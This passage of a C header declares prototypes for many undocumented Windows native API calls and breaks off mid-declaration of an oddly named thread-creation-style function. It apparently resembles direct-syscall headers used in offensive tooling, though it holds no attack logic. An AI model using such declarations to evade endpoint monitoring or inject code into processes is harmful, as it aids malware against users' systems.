TmVirtualClock OPTIONAL); EXTERN_C NTSTATUS NtPrivilegeCheck( IN HANDLE ClientToken, IN OUT PPRIVILEGE_SET RequiredPrivileges, OUT PBOOLEAN Result); EXTERN_C NTSTATUS NtPrivilegeObjectAuditAlarm( IN PUNICODE_STRING SubsystemName, IN PVOID HandleId OPTIONAL, IN HANDLE ClientToken, IN ACCESS_MASK DesiredAccess, IN PPRIVILEGE_SET Privileges, IN BOOLEAN AccessGranted); EXTERN_C NTSTATUS NtPrivilegedServiceAuditAlarm( IN PUNICODE_STRING SubsystemName, IN PUNICODE_STRING ServiceName, IN HANDLE ClientToken, IN PPRIVILEGE_SET Privileges, IN BOOLEAN AccessGranted); EXTERN_C NTSTATUS NtPropagationComplete( IN HANDLE ResourceManagerHandle, IN ULONG RequestCookie, IN ULONG BufferLength, IN PVOID Buffer); EXTERN_C NTSTATUS NtPropagationFailed( IN HANDLE ResourceManagerHandle, IN ULONG RequestCookie, IN NTSTATUS PropStatus); EXTERN_C NTSTATUS NtPulseEvent( IN HANDLE EventHandle, OUT PULONG PreviousState OPTIONAL); EXTERN_C NTSTATUS NtQueryAuxiliaryCounterFrequency( OUT PULONGLONG lpAuxiliaryCounterFrequency); EXTERN_C NTSTATUS NtQueryBootEntryOrder( OUT PULONG Ids OPTIONAL, IN OUT PULONG Count); EXTERN_C NTSTATUS NtQueryBootOptions( OUT PBOOT_OPTIONS BootOptions OPTIONAL, IN OUT PULONG BootOptionsLength); EXTERN_C NTSTATUS NtQueryDebugFilterState( IN ULONG ComponentId, IN ULONG Level); EXTERN_C NTSTATUS NtQueryDirectoryFileEx( IN HANDLE FileHandle, IN HANDLE Event OPTIONAL, IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, IN PVOID ApcContext OPTIONAL, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID FileInformation, IN ULONG Length, IN FILE_INFORMATION_CLASS FileInformationClass, IN ULONG QueryFlags, IN PUNICODE_STRING FileName OPTIONAL); EXTERN_C NTSTATUS NtQueryDirectoryObject( IN HANDLE DirectoryHandle, OUT PVOID Buffer OPTIONAL, IN ULONG Length, IN BOOLEAN ReturnSingleEntry, IN BOOLEAN RestartScan, IN OUT PULONG Context, OUT PULONG ReturnLength OPTIONAL); EXTERN_C NTSTATUS NtQueryDriverEntryOrder( IN PULONG Ids OPTIONAL, IN OUT PULONG Count); EXTERN_C NTSTATUS NtQueryEaFile( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PFILE_FULL_EA_INFORMATION Buffer, IN ULONG Length, IN BOOLEAN ReturnSingleEntry, IN PFILE_GET_EA_INFORMATION EaList OPTIONAL, IN ULONG EaListLength, IN PULONG EaIndex OPTIONAL, IN BOOLEAN RestartScan); EXTERN_C NTSTATUS NtQueryFullAttributesFile( IN POBJECT_ATTRIBUTES ObjectAttributes, OUT PFILE_NETWORK_OPEN_INFORMATION FileInformation); EXTERN_C NTSTATUS NtQueryInformationAtom( IN USHORT Atom, IN ATOM_INFORMATION_CLASS AtomInformationClass, OUT PVOID AtomInformation, IN ULONG AtomInformationLength, OUT PULONG ReturnLength OPTIONAL); EXTERN_C NTSTATUS NtQueryInformationByName( IN POBJECT_ATTRIBUTES ObjectAttributes, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID FileInformation, IN ULONG Length, IN FILE_INFORMATION_CLASS FileInformationClass); EXTERN_C NTSTATUS NtQueryInformationEnlistment( IN HANDLE EnlistmentHandle, IN ENLISTMENT_INFORMATION_CLASS EnlistmentInformationClass, OUT PVOID EnlistmentInformation, IN ULONG EnlistmentInformationLength, OUT PULONG ReturnLength OPTIONAL); EXTERN_C NTSTATUS NtQueryInformationJobObject( IN HANDLE JobHandle, IN JOBOBJECTINFOCLASS JobObjectInformationClass, OUT PVOID JobObjectInformation, IN ULONG JobObjectInformationLength, OUT PULONG ReturnLength OPTIONAL); EXTERN_C NTSTATUS NtQueryInformationPort( IN HANDLE PortHandle, IN PORT_INFORMATION_CLASS PortInformationClass, OUT PVOID PortInformation, IN ULONG Length, OUT PULONG ReturnLength OPTIONAL); EXTERN_C NTSTATUS NtQueryInformationResourceManager( IN HANDLE ResourceManagerHandle, IN RESOURCEMANAGER_INFORMATION_CLASS ResourceManagerInformationClass, OUT PVOID ResourceManagerInformation, IN ULONG ResourceManagerInformationLength, OUT PULONG ReturnLength OPTIONAL); EXTERN_C NTSTATUS NtQueryInformationTransaction( IN HANDLE TransactionHandle, IN TRANSACTION_INFORMATION_CLASS TransactionInformationClass, OUT PVOID TransactionInformation, IN ULONG TransactionInformationLength, OUT PULONG ReturnLength OPTIONAL); EXTERN_C NTSTATUS NtQueryInformationTransactionManager( IN HANDLE TransactionManagerHandle, IN TRANSACTIONMANAGER_INFORMATION_CLASS TransactionManagerInformationClass, OUT PVOID TransactionManagerInformation, IN ULONG TransactionManagerInformationLength, OUT PULONG ReturnLength OPTIONAL); EXTERN_C NTSTATUS NtQueryInformationWorkerFactory( IN HANDLE WorkerFactoryHandle, IN WORKERFACTORYINFOCLASS WorkerFactoryInformationClass, OUT PVOID WorkerFactoryInformation, IN ULONG WorkerFactoryInformationLength, OUT PULONG ReturnLength OPTIONAL); EXTERN_C NTSTATUS NtQueryInstallUILanguage( OUT PLANGID InstallUILanguageId); EXTERN_C NTSTATUS NtQueryIntervalProfile( IN KPROFILE_SOURCE ProfileSource, OUT PULONG Interval); EXTERN_C NTSTATUS NtQueryIoCompletion( IN HANDLE IoCompletionHandle, IN IO_COMPLETION_INFORMATION_CLASS IoCompletionInformationClass, OUT PVOID IoCompletionInformation, IN ULONG IoCompletionInformationLength, OUT PULONG ReturnLength OPTIONAL); EXTERN_C NTSTATUS NtQueryLicenseValue( IN PUNICODE_STRING ValueName, OUT PULONG Type OPTIONAL, OUT PVOID SystemData OPTIONAL, IN ULONG DataSize, OUT PULONG ResultDataSize); EXTERN_C NTSTATUS NtQueryMultipleValueKey( IN HANDLE KeyHandle, IN OUT PKEY_VALUE_ENTRY ValueEntries, IN ULONG EntryCount, OUT PVOID ValueBuffer, IN PULONG BufferLength, OUT PULONG RequiredBufferLength OPTIONAL); EXTERN_C NTSTATUS NtQueryMutant( IN HANDLE MutantHandle, IN MUTANT_INFORMATION_CLASS MutantInformationClass, OUT PVOID MutantInformation, IN ULONG MutantInformationLength, OUT PULONG ReturnLength OPTIONAL); EXTERN_C NTSTATUS NtQueryOpenSubKeys( IN POBJECT_ATTRIBUTES TargetKey, OUT PULONG HandleCount); EXTERN_C NTSTATUS NtQueryOpenSubKeysEx( IN POBJECT_ATTRIBUTES TargetKey, IN ULONG BufferLength, OUT PVOID Buffer, OUT PULONG RequiredSize); EXTERN_C NTSTATUS NtQueryPortInformationProcess(); EXTERN_C NTSTATUS NtQueryQuotaInformationFile( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PFILE_USER_QUOTA_INFORMATION Buffer, IN ULONG Length, IN BOOLEAN ReturnSingleEntry, IN PFILE_QUOTA_LIST_INFORMATION SidList OPTIONAL, IN ULONG SidListLength, IN PSID StartSid OPTIONAL, IN BOOLEAN RestartScan); EXTERN_C NTSTATUS NtQuerySecurityAttributesToken( IN HANDLE TokenHandle, IN PUNICODE_STRING Attributes OPTIONAL, IN ULONG NumberOfAttributes, OUT PVOID Buffer, IN ULONG Length, OUT PULONG ReturnLength); EXTERN_C NTSTATUS NtQuerySecurityObject( IN HANDLE Handle, IN SECURITY_INFORMATION SecurityInformation, OUT PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL, IN ULONG Length, OUT PULONG LengthNeeded); EXTERN_C NTSTATUS NtQuerySecurityPolicy( IN ULONG_PTR UnknownParameter1, IN ULONG_PTR UnknownParameter2, IN ULONG_PTR UnknownParameter3, IN ULONG_PTR UnknownParameter4, IN ULONG_PTR UnknownParameter5, IN ULONG_PTR UnknownParameter6); EXTERN_C NTSTATUS NtQuerySemaphore( IN HANDLE SemaphoreHandle, IN SEMAPHORE_INFORMATION_CLASS SemaphoreInformationClass, OUT PVOID SemaphoreInformation, IN ULONG SemaphoreInformationLength, OUT PULONG ReturnLength OPTIONAL); EXTERN_C NTSTATUS NtQuerySymbolicLinkObject( IN HANDLE LinkHandle, IN OUT PUNICODE_STRING LinkTarget, OUT PULONG ReturnedLength OPTIONAL); EXTERN_C NTSTATUS NtQuerySystemEnvironmentValue( IN PUNICODE_STRING VariableName, OUT PVOID VariableValue, IN ULONG ValueLength, OUT PULONG ReturnLength OPTIONAL); EXTERN_C NTSTATUS NtQuerySystemEnvironmentValueEx( IN PUNICODE_STRING VariableName, IN LPGUID VendorGuid, OUT PVOID Value OPTIONAL, IN OUT PULONG ValueLength, OUT PULONG Attributes OPTIONAL); EXTERN_C NTSTATUS NtQuerySystemInformationEx( IN SYSTEM_INFORMATION_CLASS SystemInformationClass, IN PVOID InputBuffer, IN ULONG InputBufferLength, OUT PVOID SystemInformation OPTIONAL, IN ULONG SystemInformationLength, OUT PULONG ReturnLength OPTIONAL); EXTERN_C NTSTATUS NtQueryTimerResolution( OUT PULONG MaximumTime, OUT PULONG MinimumTime, OUT PULONG CurrentTime); EXTERN_C NTSTATUS NtQueryWnfStateData( IN PCWNF_STATE_NAME StateName, IN PCWNF_TYPE_ID TypeId OPTIONAL, IN PVOID ExplicitScope OPTIONAL, OUT PWNF_CHANGE_STAMP ChangeStamp, OUT PVOID Buffer OPTIONAL, IN OUT PULONG BufferSize); EXTERN_C NTSTATUS NtQueryWnfStateNameInformation( IN PCWNF_STATE_NAME StateName, IN PCWNF_TYPE_ID NameInfoClass, IN PVOID ExplicitScope OPTIONAL, OUT PVOID InfoBuffer, IN ULONG InfoBufferSize); EXTERN_C NTSTATUS NtQueueApcThreadEx( IN HANDLE ThreadHandle, IN HANDLE UserApcReserveHandle OPTIONAL, IN PKNORMAL_ROUTINE ApcRoutine, IN PVOID ApcArgument1 OPTIONAL, IN PVOID ApcArgument2 OPTIONAL, IN PVOID ApcArgument3 OPTIONAL); EXTERN_C NTSTATUS NtRaiseException( IN PEXCEPTION_RECORD ExceptionRecord, IN PCONTEXT ContextRecord, IN BOOLEAN FirstChance); EXTERN_C NTSTATUS NtRaiseHardError( IN NTSTATUS ErrorStatus, IN ULONG NumberOfParameters, IN ULONG UnicodeStringParameterMask, IN PULONG_PTR Parameters, IN ULONG ValidResponseOptions, OUT PULONG Response); EXTERN_C NTSTATUS NtReadOnlyEnlistment( IN HANDLE EnlistmentHandle, IN PLARGE_INTEGER TmVirtualClock OPTIONAL); EXTERN_C NTSTATUS NtRecoverEnlistment( IN HANDLE EnlistmentHandle, IN PVOID EnlistmentKey OPTIONAL); EXTERN_C NTSTATUS NtRecoverResourceManager( IN HANDLE ResourceManagerHandle); EXTERN_C NTSTATUS NtRecoverTransactionManager( IN HANDLE TransactionManagerHandle); EXTERN_C NTSTATUS NtRegisterProtocolAddressInformation( IN HANDLE ResourceManager, IN LPGUID ProtocolId, IN ULONG ProtocolInformationSize, IN PVOID ProtocolInformation, IN ULONG CreateOptions OPTIONAL); EXTERN_C NTSTATUS NtRegisterThreadTerminatePort( IN HANDLE PortHandle); EXTERN_C NTSTATUS NtReleaseKeyedEvent( IN HANDLE KeyedEventHandle, IN PVOID KeyValue, IN BOOLEAN Alertable, IN PLARGE_INTEGER Timeout OPTIONAL); EXTERN_C NTSTATUS NtReleaseWorkerFactoryWorker( IN HANDLE WorkerFactoryHandle); EXTERN_C NTSTATUS NtRemoveIoCompletionEx( IN HANDLE IoCompletionHandle, OUT PFILE_IO_COMPLETION_INFORMATION IoCompletionInformation, IN ULONG Count, OUT PULONG NumEntriesRemoved, IN PLARGE_INTEGER Timeout OPTIONAL, IN BOOLEAN Alertable); EXTERN_C NTSTATUS NtRemoveProcessDebug( IN HANDLE ProcessHandle, IN HANDLE DebugObjectHandle); EXTERN_C NTSTATUS NtRenameKey( IN HANDLE KeyHandle, IN PUNICODE_STRING NewName); EXTERN_C NTSTATUS NtRenameTransactionManager( IN PUNICODE_STRING LogFileName, IN LPGUID ExistingTransactionManagerGuid); EXTERN_C NTSTATUS NtReplaceKey( IN POBJECT_ATTRIBUTES NewFile, IN HANDLE TargetHandle, IN POBJECT_ATTRIBUTES OldFile); EXTERN_C NTSTATUS NtReplacePartitionUnit( IN PUNICODE_STRING TargetInstancePath, IN PUNICODE_STRING SpareInstancePath, IN ULONG Flags); EXTERN_C NTSTATUS NtReplyWaitReplyPort( IN HANDLE PortHandle, IN OUT PPORT_MESSAGE ReplyMessage); EXTERN_C NTSTATUS NtRequestPort( IN HANDLE PortHandle, IN PPORT_MESSAGE RequestMessage); EXTERN_C NTSTATUS NtResetEvent( IN HANDLE EventHandle, OUT PULONG PreviousState OPTIONAL); EXTERN_C NTSTATUS NtResetWriteWatch( IN HANDLE ProcessHandle, IN PVOID BaseAddress, IN ULONG RegionSize); EXTERN_C NTSTATUS NtRestoreKey( IN HANDLE KeyHandle, IN HANDLE FileHandle, IN ULONG Flags); EXTERN_C NTSTATUS NtResumeProcess( IN HANDLE ProcessHandle); EXTERN_C NTSTATUS NtRevertContainerImpersonation(); EXTERN_C NTSTATUS NtRollbackComplete( IN HANDLE EnlistmentHandle, IN PLARGE_INTEGER TmVirtualClock OPTIONAL); EXTERN_C NTSTATUS NtRollbackEnlistment( IN HANDLE EnlistmentHandle, IN PLARGE_INTEGER TmVirtualClock OPTIONAL); EXTERN_C NTSTATUS NtRollbackRegistryTransaction( IN HANDLE RegistryHandle, IN BOOL Wait); EXTERN_C NTSTATUS NtRollbackTransaction( IN HANDLE TransactionHandle, IN BOOLEAN Wait); EXTERN_C NTSTATUS NtRollforwardTransactionManager( IN HANDLE TransactionManagerHandle, IN PLARGE_INTEGER TmVirtualClock OPTIONAL); EXTERN_C NTSTATUS NtSaveKey( IN HANDLE KeyHandle, IN HANDLE FileHandle); EXTERN_C NTSTATUS NtSaveKeyEx( IN HANDLE KeyHandle, IN HANDLE FileHandle, IN ULONG Format); EXTERN_C NTSTATUS NtSaveMergedKeys( IN HANDLE HighPrecedenceKeyHandle, IN HANDLE LowPrecedenceKeyHandle, IN HANDLE FileHandle); EXTERN_C NTSTATUS NtSecureConnectPort( OUT PHANDLE PortHandle, IN PUNICODE_STRING PortName, IN PSECURITY_QUALITY_OF_SERVICE SecurityQos, IN OUT PPORT_SECTION_WRITE ClientView OPTIONAL, IN PSID RequiredServerSid OPTIONAL, IN OUT PPORT_SECTION_READ ServerView OPTIONAL, OUT PULONG MaxMessageLength OPTIONAL, IN OUT PVOID ConnectionInformation OPTIONAL, IN OUT PULONG ConnectionInformationLength OPTIONAL); EXTERN_C NTSTATUS NtSerializeBoot(); EXTERN_C NTSTATUS NtSetBootEntryOrder( IN PULONG Ids, IN ULONG Count); EXTERN_C NTSTATUS NtSetBootOptions( IN PBOOT_OPTIONS BootOptions, IN ULONG FieldsToChange); EXTERN_C NTSTATUS NtSetCachedSigningLevel( IN ULONG Flags, IN SE_SIGNING_LEVEL InputSigningLevel, IN PHANDLE SourceFiles, IN ULONG SourceFileCount, IN HANDLE TargetFile OPTIONAL); EXTERN_C NTSTATUS NtSetCachedSigningLevel2( IN ULONG Flags, IN ULONG InputSigningLevel, IN PHANDLE SourceFiles, IN ULONG SourceFileCount, IN HANDLE TargetFile OPTIONAL, IN PVOID LevelInformation OPTIONAL); EXTERN_C NTSTATUS NtSetContextThread( IN HANDLE ThreadHandle, IN PCONTEXT Context); EXTERN_C NTSTATUS NtSetDebugFilterState( IN ULONG ComponentId, IN ULONG Level, IN BOOLEAN State); EXTERN_C NTSTATUS NtSetDefaultHardErrorPort( IN HANDLE PortHandle); EXTERN_C NTSTATUS NtSetDefaultLocale( IN BOOLEAN UserProfile, IN LCID DefaultLocaleId); EXTERN_C NTSTATUS NtSetDefaultUILanguage( IN LANGID DefaultUILanguageId); EXTERN_C NTSTATUS NtSetDriverEntryOrder( IN PULONG Ids, IN PULONG Count); EXTERN_C NTSTATUS NtSetEaFile( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PFILE_FULL_EA_INFORMATION EaBuffer, IN ULONG EaBufferSize); EXTERN_C NTSTATUS NtSetHighEventPair( IN HANDLE EventPairHandle); EXTERN_C NTSTATUS NtSetHighWaitLowEventPair( IN HANDLE EventPairHandle); EXTERN_C NTSTATUS NtSetIRTimer( IN HANDLE TimerHandle, IN PLARGE_INTEGER DueTime OPTIONAL); EXTERN_C NTSTATUS NtSetInformationDebugObject( IN HANDLE DebugObject, IN DEBUGOBJECTINFOCLASS InformationClass, IN PVOID Information, IN ULONG InformationLength, OUT PULONG ReturnLength OPTIONAL); EXTERN_C NTSTATUS NtSetInformationEnlistment( IN HANDLE EnlistmentHandle, IN ENLISTMENT_INFORMATION_CLASS EnlistmentInformationClass, IN PVOID EnlistmentInformation, IN ULONG EnlistmentInformationLength); EXTERN_C NTSTATUS NtSetInformationJobObject( IN HANDLE JobHandle, IN JOBOBJECTINFOCLASS JobObjectInformationClass, IN PVOID JobObjectInformation, IN ULONG JobObjectInformationLength); EXTERN_C NTSTATUS NtSetInformationKey( IN HANDLE KeyHandle, IN KEY_SET_INFORMATION_CLASS KeySetInformationClass, IN PVOID KeySetInformation, IN ULONG KeySetInformationLength); EXTERN_C NTSTATUS NtSetInformationResourceManager( IN HANDLE ResourceManagerHandle, IN RESOURCEMANAGER_INFORMATION_CLASS ResourceManagerInformationClass, IN PVOID ResourceManagerInformation, IN ULONG ResourceManagerInformationLength); EXTERN_C NTSTATUS NtSetInformationSymbolicLink( IN HANDLE Handle, IN ULONG Class, IN PVOID Buffer, IN ULONG BufferLength); EXTERN_C NTSTATUS NtSetInformationToken( IN HANDLE TokenHandle, IN TOKEN_INFORMATION_CLASS TokenInformationClass, IN PVOID TokenInformation, IN ULONG TokenInformationLength); EXTERN_C NTSTATUS NtSetInformationTransaction( IN HANDLE TransactionHandle, IN TRANSACTIONMANAGER_INFORMATION_CLASS TransactionInformationClass, IN PVOID TransactionInformation, IN ULONG TransactionInformationLength); EXTERN_C NTSTATUS NtSetInformationTransactionManager( IN HANDLE TransactionHandle, IN TRANSACTION_INFORMATION_CLASS TransactionInformationClass, IN PVOID TransactionInformation, IN ULONG TransactionInformationLength); EXTERN_C NTSTATUS NtSetInformationVirtualMemory( IN HANDLE ProcessHandle, IN VIRTUAL_MEMORY_INFORMATION_CLASS VmInformationClass, IN ULONG_PTR NumberOfEntries, IN PMEMORY_RANGE_ENTRY VirtualAddresses, IN PVOID VmInformation, IN ULONG VmInformationLength); EXTERN_C NTSTATUS NtSetInformationWorkerFactory( IN HANDLE WorkerFactoryHandle, IN WORKERFACTORYINFOCLASS WorkerFactoryInformationClass, IN PVOID WorkerFactoryInformation, IN ULONG WorkerFactoryInformationLength); EXTERN_C NTSTATUS NtSetIntervalProfile( IN ULONG Interval, IN KPROFILE_SOURCE Source); EXTERN_C NTSTATUS NtSetIoCompletion( IN HANDLE IoCompletionHandle, IN ULONG CompletionKey, OUT PIO_STATUS_BLOCK IoStatusBlock, IN NTSTATUS CompletionStatus, IN ULONG NumberOfBytesTransfered); EXTERN_C NTSTATUS NtSetIoCompletionEx( IN HANDLE IoCompletionHandle, IN HANDLE IoCompletionPacketHandle, IN PVOID KeyContext OPTIONAL, IN PVOID ApcContext OPTIONAL, IN NTSTATUS IoStatus, IN ULONG_PTR IoStatusInformation); EXTERN_C NTSTATUS NtSetLdtEntries( IN ULONG Selector0, IN ULONG Entry0Low, IN ULONG Entry0Hi, IN ULONG Selector1, IN ULONG Entry1Low, IN ULONG Entry1Hi); EXTERN_C NTSTATUS NtSetLowEventPair( IN HANDLE EventPairHandle); EXTERN_C NTSTATUS NtSetLowWaitHighEventPair( IN HANDLE EventPairHandle); EXTERN_C NTSTATUS NtSetQuotaInformationFile( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PFILE_USER_QUOTA_INFORMATION Buffer, IN ULONG Length); EXTERN_C NTSTATUS NtSetSecurityObject( IN HANDLE ObjectHandle, IN SECURITY_INFORMATION SecurityInformationClass, IN PSECURITY_DESCRIPTOR DescriptorBuffer); EXTERN_C NTSTATUS NtSetSystemEnvironmentValue( IN PUNICODE_STRING VariableName, IN PUNICODE_STRING Value); EXTERN_C NTSTATUS NtSetSystemEnvironmentValueEx( IN PUNICODE_STRING VariableName, IN LPGUID VendorGuid, IN PVOID Value OPTIONAL, IN ULONG ValueLength, IN ULONG Attributes); EXTERN_C NTSTATUS NtSetSystemInformation( IN SYSTEM_INFORMATION_CLASS SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength); EXTERN_C NTSTATUS NtSetSystemPowerState( IN POWER_ACTION SystemAction, IN SYSTEM_POWER_STATE MinSystemState, IN ULONG Flags); EXTERN_C NTSTATUS NtSetSystemTime( IN PLARGE_INTEGER SystemTime, OUT PLARGE_INTEGER PreviousTime OPTIONAL); EXTERN_C NTSTATUS NtSetThreadExecutionState( IN EXECUTION_STATE ExecutionState, OUT PEXECUTION_STATE PreviousExecutionState); EXTERN_C NTSTATUS NtSetTimer2( IN HANDLE TimerHandle, IN PLARGE_INTEGER DueTime, IN PLARGE_INTEGER Period OPTIONAL, IN PT2_SET_PARAMETERS Parameters); EXTERN_C NTSTATUS NtSetTimerEx( IN HANDLE TimerHandle, IN TIMER_SET_INFORMATION_CLASS TimerSetInformationClass, IN OUT PVOID TimerSetInformation OPTIONAL, IN ULONG TimerSetInformationLength); EXTERN_C NTSTATUS NtSetTimerResolution( IN ULONG DesiredResolution, IN BOOLEAN SetResolution, OUT PULONG CurrentResolution); EXTERN_C NTSTATUS NtSetUuidSeed( IN PUCHAR Seed); EXTERN_C NTSTATUS NtSetVolumeInformationFile( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PVOID FileSystemInformation, IN ULONG Length, IN FSINFOCLASS FileSystemInformationClass); EXTERN_C NTSTATUS NtSetWnfProcessNotificationEvent( IN HANDLE NotificationEvent); EXTERN_C NTSTATUS NtShutdownSystem( IN SHUTDOWN_ACTION Action); EXTERN_C NTSTATUS NtShutdownWorkerFactory( IN HANDLE WorkerFactoryHandle, IN OUT PLONG PendingWorkerCount); EXTERN_C NTSTATUS NtSignalAndWaitForSingleObject( IN HANDLE hObjectToSignal, IN HANDLE hObjectToWaitOn, IN BOOLEAN bAlertable, IN PLARGE_INTEGER dwMilliseconds OPTIONAL); EXTERN_C NTSTATUS NtSinglePhaseReject( IN HANDLE EnlistmentHandle, IN PLARGE_INTEGER TmVirtualClock OPTIONAL); EXTERN_C NTSTATUS NtStartProfile( IN HANDLE ProfileHandle); EXTERN_C NTSTATUS NtStopProfile( IN HANDLE ProfileHandle); EXTERN_C NTSTATUS NtSubscribeWnfStateChange( IN PCWNF_STATE_NAME StateName, IN WNF_CHANGE_STAMP ChangeStamp OPTIONAL, IN ULONG EventMask, OUT PLARGE_INTEGER SubscriptionId OPTIONAL); EXTERN_C NTSTATUS NtSuspendProcess( IN HANDLE ProcessHandle); EXTERN_C NTSTATUS NtSuspendThread( IN HANDLE ThreadHandle, OUT PULONG PreviousSuspendCount); EXTERN_C NTSTATUS NtSystemDebugControl( IN DEBUG_CONTROL_CODE Command, IN PVOID InputBuffer OPTIONAL, IN ULONG InputBufferLength, OUT PVOID OutputBuffer OPTIONAL, IN ULONG OutputBufferLength, OUT PULONG ReturnLength OPTIONAL); EXTERN_C NTSTATUS NtTerminateEnclave( IN PVOID BaseAddress, IN BOOLEAN WaitForThread); EXTERN_C NTSTATUS NtTerminateJobObject( IN HANDLE JobHandle, IN NTSTATUS ExitStatus); EXTERN_C NTSTATUS NtTestAlert(); EXTERN_C NTSTATUS NtThawRegistry(); EXTERN_C NTSTATUS NtThawTransactions(); EXTERN_C NTSTATUS NtTraceControl( IN ULONG FunctionCode, IN PVOID InputBuffer OPTIONAL, IN ULONG InputBufferLength, OUT PVOID OutputBuffer OPTIONAL, IN ULONG OutputBufferLength, OUT PULONG ReturnLength); EXTERN_C NTSTATUS NtTranslateFilePath( IN PFILE_PATH InputFilePath, IN ULONG OutputType, OUT PFILE_PATH OutputFilePath OPTIONAL, IN OUT PULONG OutputFilePathLength OPTIONAL); EXTERN_C NTSTATUS NtUmsThreadYield( IN PVOID SchedulerParam); EXTERN_C NTSTATUS NtUnloadDriver( IN PUNICODE_STRING DriverServiceName); EXTERN_C NTSTATUS NtUnloadKey( IN POBJECT_ATTRIBUTES DestinationKeyName); EXTERN_C NTSTATUS NtUnloadKey2( IN POBJECT_ATTRIBUTES TargetKey, IN ULONG Flags); EXTERN_C NTSTATUS NtUnloadKeyEx( IN POBJECT_ATTRIBUTES TargetKey, IN HANDLE Event OPTIONAL); EXTERN_C NTSTATUS NtUnlockFile( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PULARGE_INTEGER ByteOffset, IN PULARGE_INTEGER Length, IN ULONG Key); EXTERN_C NTSTATUS NtUnlockVirtualMemory( IN HANDLE ProcessHandle, IN PVOID* BaseAddress, IN PSIZE_T NumberOfBytesToUnlock, IN ULONG LockType); EXTERN_C NTSTATUS NtUnmapViewOfSectionEx( IN HANDLE ProcessHandle, IN PVOID BaseAddress OPTIONAL, IN ULONG Flags); EXTERN_C NTSTATUS NtUnsubscribeWnfStateChange( IN PCWNF_STATE_NAME StateName); EXTERN_C NTSTATUS NtUpdateWnfStateData( IN PCWNF_STATE_NAME StateName, IN PVOID Buffer OPTIONAL, IN ULONG Length OPTIONAL, IN PCWNF_TYPE_ID TypeId OPTIONAL, IN PVOID ExplicitScope OPTIONAL, IN WNF_CHANGE_STAMP MatchingChangeStamp, IN ULONG CheckStamp); EXTERN_C NTSTATUS NtVdmControl( IN VDMSERVICECLASS Service, IN OUT PVOID ServiceData); EXTERN_C NTSTATUS NtWaitForAlertByThreadId( IN HANDLE Handle, IN PLARGE_INTEGER Timeout OPTIONAL); EXTERN_C NTSTATUS NtWaitForDebugEvent( IN HANDLE DebugObjectHandle, IN BOOLEAN Alertable, IN PLARGE_INTEGER Timeout OPTIONAL, OUT PVOID WaitStateChange); EXTERN_C NTSTATUS NtWaitForKeyedEvent( IN HANDLE KeyedEventHandle, IN PVOID Key, IN BOOLEAN Alertable, IN PLARGE_INTEGER Timeout OPTIONAL); EXTERN_C NTSTATUS NtWaitForWorkViaWorkerFactory( IN HANDLE WorkerFactoryHandle, OUT PVOID MiniPacket); EXTERN_C NTSTATUS NtWaitHighEventPair( IN HANDLE EventHandle); EXTERN_C NTSTATUS NtWaitLowEventPair( IN HANDLE EventHandle); EXTERN_C NTSTATUS NtAcquireCMFViewOwnership( OUT BOOLEAN TimeStamp, OUT BOOLEAN TokenTaken, IN BOOLEAN ReplaceExisting); EXTERN_C NTSTATUS NtCancelDeviceWakeupRequest( IN HANDLE DeviceHandle); EXTERN_C NTSTATUS NtClearAllSavepointsTransaction( IN HANDLE TransactionHandle); EXTERN_C NTSTATUS NtClearSavepointTransaction( IN HANDLE TransactionHandle, IN ULONG SavePointId); EXTERN_C NTSTATUS NtRollbackSavepointTransaction( IN HANDLE TransactionHandle, IN ULONG SavePointId); EXTERN_C NTSTATUS NtSavepointTransaction( IN HANDLE TransactionHandle, IN BOOLEAN Flag, OUT ULONG SavePointId); EXTERN_C NTSTATUS NtSavepointComplete( IN HANDLE TransactionHandle, IN PLARGE_INTEGER TmVirtualClock OPTIONAL); EXTERN_C NTSTATUS NtCreateSectionEx( OUT PHANDLE SectionHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN PLARGE_INTEGER MaximumSize OPTIONAL, IN ULONG SectionPageProtection, IN ULONG AllocationAttributes, IN HANDLE FileHandle OPTIONAL, IN PMEM_EXTENDED_PARAMETER ExtendedParameters, IN ULONG ExtendedParametersCount); EXTERN_C NTSTATUS NtCreateCrossVmEvent(); EXTERN_C NTSTATUS NtGetPlugPlayEvent( IN HANDLE EventHandle, IN PVOID Context OPTIONAL, OUT PPLUGPLAY_EVENT_BLOCK EventBlock, IN ULONG EventBufferSize); EXTERN_C NTSTATUS NtListTransactions(); EXTERN_C NTSTATUS NtMarshallTransaction(); EXTERN_C NTSTATUS NtPullTransaction(); EXTERN_C NTSTATUS NtReleaseCMFViewOwnership(); EXTERN_C NTSTATUS NtWaitForWnfNotifications(); EXTERN_C NTSTATUS NtStartTm(); EXTERN_C NTSTATUS NtSetInformationProcess( IN HANDLE DeviceHandle, IN PROCESSINFOCLASS ProcessInformationClass, IN PVOID ProcessInformation, IN ULONG Length); EXTERN_C NTSTATUS NtRequestDeviceWakeup( IN HANDLE DeviceHandle); EXTERN_C NTSTATUS NtRequestWakeupLatency( IN ULONG LatencyTime); EXTERN_C NTSTATUS NtQuerySystemTime( OUT PLARGE_INTEGER SystemTime); EXTERN_C NTSTATUS NtManageHotPatch( IN ULONG UnknownParameter1, IN ULONG UnknownParameter2, IN ULONG UnknownParameter3, IN ULONG UnknownParameter4); EXTERN_C NTSTATUS NtContinueEx( IN PCONTEXT ContextRecord, IN PKCONTINUE_ARGUMENT ContinueArgument); EXTERN_C NTSTATUS RtlCreateUserThread( IN HANDLE ProcessHandle, IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL, IN BOOLEAN CreateSuspended, IN ULONG StackZeroBits, IN OUT PULONG StackReserved, IN OUT PULONG StackCommit, IN PVOID StartAddress, IN PVOID StartParameter OPTIONAL, OUT PHANDLE ThreadHandle, OUT PCLIENT_ID ClientID); #endif EXTERN_C NTSTATUS ANtCTE( HANDLE* pHandle, ACCESS_MASK DesiredAccess, PVOID pAttr, HANDLE hProc, PVOID pFunc, 